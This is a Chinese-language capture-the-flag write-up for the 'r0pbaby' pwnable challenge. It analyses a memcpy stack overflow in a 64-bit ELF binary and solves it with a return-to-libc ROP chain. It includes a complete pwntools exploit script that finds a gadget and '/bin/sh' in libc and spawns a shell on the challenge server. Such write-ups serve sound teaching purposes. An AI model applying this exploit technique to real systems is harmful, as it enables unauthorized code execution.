r0pbaby
- Author: bruce30262
- Email: bruce30262@gmail.com
- Solver: bruce30262, bananaapple
Description
Category: Baby's First (pwnable)
Points: 1
Keyword: ROP, return-to-libc
r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me:10436
Problem
64 bit ELF. 沒開 stack guard, 不過有開 NX 和 PIE 保護
程式跑起來會先給你一個 menu, 要你輸入選項:
Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
輸入選項 1 會給你 libc.so.6
的 address,這個 address 存的會是真正的 libc base address
輸入選項 2 會先請你輸入 libc 裡面其中一個 function 的 symbol, 例如 system
, atoi
之類的,輸入完後會吐給你該 symbol 的 address
輸入選項 3 會先要你輸入長度,之後輸入相對應長度的字串
選項 4 為離開程式
Vulnerability
打開 IDA Pro 分析程式,會發現 main function 裡面有以下 pseudo code:
v0 = (signed __int64)nptr; // our input buffer
v1 = (signed __int64)&savedregs; // dest
memcpy(&savedregs, nptr, v7);
我們輸入選項 3 時,之後輸入的字串(不包含長度)會被先放到 nptr
裡面
之後會被 memcpy 到 savedregs
裡面
看看 saveregs
位於 stack 上的哪個地方
char nptr[1088]; // [sp+10h] [bp-440h]@2
__int64 savedregs; // [sp+450h] [bp+0h]@22 // on rpb
可以看到 saveregs
正好位在 rbp
上,也就是說, 複製到 saveregs
的內容,會從 rbp
開始寫入
Exploit
既然可以從 rbp
任意寫入內容,那麼方向就很明顯了
我們可以覆蓋 return address
讓程式跳到我們想要跳的地方
這題有開 NX 保護, 不過因為程式有給我們 system
的 address
所以就嘗試往 return-to-libc 的方向做 exploit
一開始想說先想辦法 leak 出 libc 的 base address
之後根據 symbol 的 offset 去猜 libc 的版本,進而構造 ROP 的 payload
不過實際操作後發現基本上 leak 不出來,因為沒有其他 memory leakage 的漏洞
當然也試想過先 leak 出不同 function 的 address, 藉由他們之間的 offset 去猜 libc 版本
但是這麼做實在很沒效率
此時 bananaapple 提出了一個很不錯的想法: 嘗試從 function 裡面去找有用的 gadget
因為 gadget 均是由 machine code 所組成
所以今天如果我要找一個 pop rdi, ret
這樣的 gadget
根據 assembly 與 machine code 間的轉換: pop rdi, ret
= 5f c3
因此只要想辦法從某個 function 裡頭找出 5f c3
這 2 個 byte
就可以把 rip 設過去
同理因為 /bin/sh
這個字串 libc 裡面也有
所以也可以用同樣的方式去找到一個 char* 指向 /bin/sh
首先利用 objdump -D
和 grep
得知 5f c3
位於 _IO_proc_open
這個 function 的開頭 + 0x34d 的位址
而 /bin/sh
則位於 _libc_intl_domainname
+ 0x242 的位址
有了這些資訊就可以透過選項 2 和選項 3 來構造 ROP chain 了
#!/usr/bin/env python
from pwn import *
import sys
import time
#HOST = "localhost"
HOST = "r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me"
PORT = 10436
#LIBC_PATH = "/lib/x86_64-linux-gnu/libc-2.19.so"
# setting
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
r = remote(HOST, PORT)
if __name__ == "__main__":
print r.recvuntil(": ")
# get system address
r.sendline("2")
r.recv(1024)
r.sendline("system")
s = r.recvuntil("Exit\n: ")
print s
system_addr = int(s[s.index("0x"):s.index("\n1)"):].strip(), 16)
log.success("system_addr: "+hex(system_addr))
# get _IO_proc_open address to calculate [pop rdi, ret]'s address
r.sendline("2")
r.recv(1024)
r.sendline("_IO_proc_open")
s = r.recvuntil("Exit\n: ")
print s
open_addr = int(s[s.index("0x"):s.index("\n1)"):].strip(), 16)
pop_rdi_ret = open_addr + 0x34c + 1
log.success("pop_rdi_ret: "+hex(pop_rdi_ret))
# get _libc_intl_domainname address to calculate /bin/sh's address
r.sendline("2")
r.recv(1024)
r.sendline("_libc_intl_domainname")
s = r.recvuntil("Exit\n: ")
print s
domain_addr = int(s[s.index("0x"):s.index("\n1)"):].strip(), 16)
bin_sh = domain_addr + 0x242
log.success("bin_sh: "+hex(bin_sh))
payload = "AAAAAAAA" # rbp
payload += p64(pop_rdi_ret) # pop rdi, ret
payload += p64(bin_sh) # char* point to /bin/sh
payload += p64(system_addr) # system
# send the payload
r.sendline("3")
r.recv(1024)
r.sendline(str(len(payload)))
r.sendline(payload)
r.interactive()
flag: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?